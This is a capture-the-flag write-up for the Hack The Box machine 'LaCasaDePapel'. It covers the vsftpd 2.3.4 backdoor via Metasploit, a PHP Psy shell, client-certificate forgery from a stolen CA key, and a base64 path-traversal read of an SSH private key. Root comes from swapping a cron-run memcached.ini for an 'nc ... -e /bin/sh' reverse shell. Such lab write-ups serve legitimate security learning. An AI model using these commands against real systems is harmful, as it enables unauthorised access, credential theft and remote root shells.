• Use an old FTP exploit to open a backdoor on the box allowing us to get a Psy php shell
  • Grab a CA key file off the box and a CA crt from the webpage
  • Use the CA key file and CA crt file to generate a .p12 file and log into the webpage
  • Use an LFI vulnerability to grab and SSH private key
  • Use the private key to SSH in
  • Replace the memcached.ini file with our own to spawn a reverse shell
    First I start with an Nmap scan.
# Nmap 7.70 scan initiated Mon May 27 18:16:51 2019 as: nmap -sV -sC -T4
Nmap scan report for
Host is up (0.11s latency).
Not shown: 996 closed ports
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|   http/1.1
|_  http/1.0
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at .
# Nmap done at Mon May 27 18:17:24 2019 -- 1 IP address (1 host up) scanned in 32.68 seconds

A few ports are open but the one that peaks my interest is FTP. I know for a fact that vsftpd 2.3.4 is vulnerable. I will use the metasploit module exploit/unix/ftp/vsftpd_234_backdoorv2.3.4 Backdoor Command Execution for this.

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

The only thing that I have to set is the RHOSTS. Running the exploit I see that the exploit completed but no session was created

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] - Banner: 220 (vsFTPd 2.3.4)
[*] - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

If I run the exploit a second time I get a different message. It says that the port for the backdoor is open but it’s not a shell which most likely means it’s not a bash shell.

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] - The port used by the backdoor bind listener is already open
[-] - The service on port 6200 does not appear to be a shell
[*] Exploit completed, but no session was created.

Running an Nmap scan on port 6200 will show that the port is now open

# nmap -p 6200
Starting Nmap 7.80 ( ) at 2019-09-18 12:30 EDT
Nmap scan report for
Host is up (0.096s latency).

6200/tcp open  lm-x

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

I can use netcat to connect to the backdoor. Once in I are greeted with a Psy Shell which is basically a PHP Shell

# nc -nv 6200
Ncat: Version 7.80 ( )
Ncat: Connected to
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

To navigate this shell I will need to use php commands. Listing the /home directory will reveal multiple different users

=> [

If I list the contents of each users home directory, I will see a couple things.

  • The user flag is located in /home/berlin
  • There is a ca.key file located at /home/nairobi
=> [
=> [
=> [
=> [

Seeing that ca.key made me want to check out port 443. Navigating to the web page my hunch was confirmed when it asks us for a client certificate to access the full web page.

I copied the key to my host machine by reading the ca.key file and then pasting the contents into an empty file.


Now the next step is to grab the .crt file from your web browser. In Firefox navigate to Preferences > Privacy and Security > View Certificates. Once there, in the top right click on Authorities and scroll down until you see the certificate for lacasadepapelhtb.htb and then import/download it to you host machine.

Now I need to create our client certificate. To do this I will use openssl in combination with our ca.key file and lacasadepapelhtb.crt file. It will ask you for a password, just leave it blank.

# openssl pkcs12 -export -clcerts -in lacasadepapelhtb.crt -inkey ca.key -out lacasadepapel.p12
Enter Export Password:
Verifying - Enter Export Password:

Now I need to import the lacasadepapel.p12 into Firefox. Go back to Preferences > Privacy and Security > View Certificates except this time choose Your Certificates. Then choose import and select the certificate.

Now if I go back to the web page and refresh it, I no longer get the client certificate error.

Looking through all the avi files I don’t find anything since they are all empty but I looking a the source code of the webpage does reveal something interesting at the bottom. I see some files stored in a /file directory with files that look like they are encoded in base64. Using this I can do 2 things:

  • Grab the user flag in /home/berlin
  • Grab an ssh private key from /home/berlin/.ssh/id_rsa and log in with it
# echo -n "../../../../home/berlin/user.txt" | base64

Now I grab the ssh key

# echo -n "../../../../home/berlin/.ssh/id_rsa" | base64

Now my first thought was to SSH in as the user berlin since that is where I found the key but it didn’t work. I decided to try the other users and it ended up working with the user professor

# ssh -i id_rsa professor@

 _             ____                  ____         ____                  _
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|

lacasadepapel [~]$

Doing some basic enumeration, all I found Ire a couple files in the professor home directory but could really make much of it. My next thought was to see what processes Ire running in the background and to do this I would use a tool called pspy. I needed to get the pspy executable onto the box so I decided to use a python SimpleHTTPServer

# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ...

Then I used wget from the professor account to copy it to his home directory.

# wget
Connecting to (
pspy64               100% |************************************************| 4364k  0:00:00 ETA

Make the file executable and then run it. After some time has passed you should see an interesting process running.

2019/09/18 19:06:02 CMD: UID=0    PID=5962   | sudo -u nobody /usr/bin/node /home/professor/memcached.js

So this process contains the same memcached.js file that is in the professors home directory

# ls -la
total 4392
drwxr-sr-x    4 professo professo      4096 Sep 18 19:04 .
drwxr-xr-x    7 root     root          4096 Feb 16  2019 ..
lrwxrwxrwx    1 root     professo         9 Nov  6  2018 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31  2019 .ssh
-rw-r--r--    1 root     root            88 Jan 29  2019 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29  2019 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29  2019 node_modules

I cant read the memcached.js but I can read the memcached.ini file.

cat memcached.ini
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

This file has the same command that is being executed in the process. This tells me that the cron job is executing anything in this file as root. My first thought was I need to edit the memcached.ini file to put in a reverse shell to give me root but I saw that I don’t have write permissions. After sometime had passed, I had realized I needed to go back to the basics. Even though the file is owned by root, I can still delete the file because it is in our home directory. All I need to do is replace it with a file of our own with the same name to give us a root shell

# rm memcached.ini
rm: remove 'memcached.ini'? y

Make sure the new file contains something like this

command = nc 9000 -e /bin/sh

Now set up a nc listener and wait for the shell to spawn

# nc -lvnp 9000
Ncat: Version 7.80 ( )
Ncat: Listening on :::9000
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from


So now you can grab the root flag